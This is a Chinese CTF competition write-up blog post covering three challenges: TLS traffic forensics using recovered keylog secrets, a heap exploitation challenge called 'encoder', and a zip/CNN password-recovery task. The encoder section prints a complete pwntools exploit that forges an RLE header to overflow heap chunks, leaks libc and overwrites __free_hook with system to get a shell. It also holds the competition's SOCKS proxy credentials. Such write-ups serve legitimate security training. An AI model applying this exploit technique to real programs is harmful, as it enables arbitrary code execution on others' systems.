软件系统安全赛Writeup+赛后复现

软件系统安全赛Writeup+赛后复现

5G消息

CTF-NetA分析流量包,其解析tls流量需要tls.keylog文件

img

tcp流中存在明文

img

多条流量中包含了keylog的内容

img

几段内容拼接后内容为:

1
2
3
4
5
6
7
# sslkeylog

SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795
EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0
SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630
CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0
CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405

重新分析tls流量

img

发现存在png信息

img

数据保存为图片

img

得到flag:abcdef1234567890deadbeefc0ffeeba

img

encoder-攻击

64位,保护全开

img

菜单题,实现了一个简单的文件管理系统,有以下功能:

  1. upload
  2. download
  3. encode
  4. decode
  5. release

encode使用RLE算法对文件进行编码,在编码数据前添加头部信息:“RLE\n”、编码后长度、校验和

1
2
3
memcpy(ptr, "RLE\n", sizeof(_DWORD));
ptr[1] = v5;
*(_DWORD *)((char *)ptr + v5 + 8) = sumBytes((__int64)(ptr + 2), v5);

decode函数用于解码encode函数编码后的文件,仅对头部进行检验,我们可以通过伪造头部信息,来覆盖相邻的堆块大小,再利用release函数即可实现泄露libc和free_hook

利用过程

malloc一个伪造的块,用于溢出覆盖相邻堆大小,再malloc几个小块,decode伪造块修改大小后,即可利用unsortedbin attack泄露libc

修改fd指针为__free_hook-0x8,后续分配会写在__free_hook-0x8的位置,即可实现修改__free_hook为system,劫持__free_hook触发shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
import sys
import socks
import socket

# 设置 SOCKS5 代理
socks.set_default_proxy(
socks.SOCKS5,
"8.kernel.ccsssc.hunau.edu.cn",
27335,
username="dmp1mowm",
password="teossw4o"
)
socket.socket = socks.socksocket
context(arch='amd64', os='linux', log_level='debug')

challenge = "./encoder"
def debug():
gdb.attach(io)
pause()

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

def upload(idx,data):
sla(b">>", b"1")
sla(b"Idx:",str(idx).encode())
sla(b"Size:",str(len(data)).encode())
sa(b"Data:",data)
def download(idx):
sla(b">>", b"2")
sla(b"Idx:",str(idx).encode())
def free(idx):
sla(b">>", b"5")
sla(b"Idx:",str(idx).encode())
def decode(idx):
sla(b">>", b"4")
sla(b"Idx:",str(idx).encode())
def calc_sum(data):
sum = 0
for i in data:
sum += i
return sum

def exp():
#伪造decode块
payload = b"RLE\n"
payload += p32(1)+b'\xff'
payload += p32(0x500)
payload += p32(0xffffff00) + p8(0xa)
payload += b'\x00'*(0x48-9)
payload += p16(0x4f1)
payload = payload.ljust(0x7f,b'\x00')
upload(0,payload)
upload(1,b"1"*0x100)
upload(2,b"2"*0x48)
upload(3,b"3"*0x18)
upload(4,b"4"*0x28)
upload(5,b"5"*0x18)
upload(6,b"6"*0x18)
upload(7,(p64(0)+p64(0x21))*(0x500//2))
free(2)
decode(0) # overflow
free(3)
upload(3,b"3"*0x18)
download(4)
libc_base = uu64(ru(b'\x7f')[-6:]) - 0x1ecbe0 #
echo("libc_base: "+hex(libc_base))
libc = ELF("./libc-2.31.so")
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
free(6)
free(5)
#__free_hook
payload = b'\x00'*0x28+p64(0x21)+p64(free_hook-0x8)
upload(8,payload)
#debug()
upload(9,b"9"*0x18)
#debug()
upload(10,b"/bin/sh\x00"+p64(system)+p64(0))
debug()
free(10)

local = int(sys.argv[1])
elf = ELF(challenge)

context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

if local:
io = process(challenge)
else:
# 使用代理连接远程服务器
io = remote("192.0.100.2", 8888)

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

exp()
ia()

img

ez_sight

明文攻击解压缩包

img

使用给的password.pt模型对图片进行预测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import torch
import torch.nn as nn
import torch.nn.functional as F
from PIL import Image
import torchvision.transforms as transforms
import glob

class SimpleCNN(nn.Module):
def __init__(self):
super(SimpleCNN, self).__init__()
self.conv1 = nn.Conv2d(1, 16, kernel_size=3, padding=1) # 输入通道 1,输出通道 16
self.conv2 = nn.Conv2d(16, 32, kernel_size=3, padding=1) # 输入通道 16,输出通道 32
self.fc1 = nn.Linear(32 * 7 * 7, 128) # 全连接层 1
self.fc2 = nn.Linear(128, 62) # 全连接层 2,假设输出 62 类(0-9, a-z, A-Z)

def forward(self, x):
x = F.relu(self.conv1(x)) # 激活函数
x = F.max_pool2d(x, 2) # 池化层 1
x = F.relu(self.conv2(x)) # 激活函数
x = F.max_pool2d(x, 2) # 池化层 2
x = x.view(x.size(0), -1) # 展平
x = F.relu(self.fc1(x)) # 激活函数
x = self.fc2(x) # 输出层
return x

# 加载模型
model = torch.load('password.pt', weights_only=False)
model.eval() # 设置为评估模式


print(model)


transform = transforms.Compose([
#transforms.Grayscale(num_output_channels=1), # 转为灰度图
transforms.ToTensor(), # 转为张量
transforms.Normalize(mean=[0.5], std=[0.5]) # 归一化
])

image_files = sorted(glob.glob('*.bmp'))
for idx, img_file in enumerate(image_files):
image = Image.open(img_file)
image = transform(image).unsqueeze(0)

with torch.no_grad():
output = model(image)
probabilities = F.softmax(output, dim=1)
top4_prob, top4_indices = torch.topk(probabilities, 10) # 获取概率最高的类别

print(f"\n图片 {idx + 1}: {img_file}")
for i in range(10):
prob = top4_prob[0][i].item() # 获取概率值
pred = top4_indices[0][i].item() # 获取预测类别
print(f" 预测类别 {i + 1}: {pred}, 概率: {prob:.4f}")

取每个位置概率最高的几个数字爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import uuid
import hashlib

possible_digits = [
[8,0,9,3,5,2],
[1,7],
[8,2,1],
[3,9,5,8],
[4,5,1,9,7,8,3],
[6,5,8,4],
[5,6,8],
[8,9,7,1,0],
[8,3],
[9,8,3],
[9,4,7],
[8,0,3],
[8,2,5,7,4,1,9],
[4,5,7]
]

target_hash = "115159c751ddf16c527ee96f998ed55ed8a3302f2fd04ba60682493883901684"

def generate_flags(index, current_flag):
if index == 14:
final_flag = "dart{" + str(uuid.uuid3(uuid.UUID('11341600-1542-4ee8-b148-23940f18186b'), current_flag)) + "}"
sha256_hash = hashlib.sha256(final_flag.encode("utf8")).hexdigest()
if sha256_hash == target_hash:
print(current_flag)
print("Correct flag found:", final_flag)
return True
return False
for digit in possible_digits[index]:
if generate_flags(index + 1, current_flag + str(digit)):
return True
return False

generate_flags(0, "")

得解

img


软件系统安全赛Writeup+赛后复现
https://xu17.top/2025/03/25/软件系统安全赛现场赛Writeup/
作者
XU17
发布于
2025年3月25日
许可协议
XU17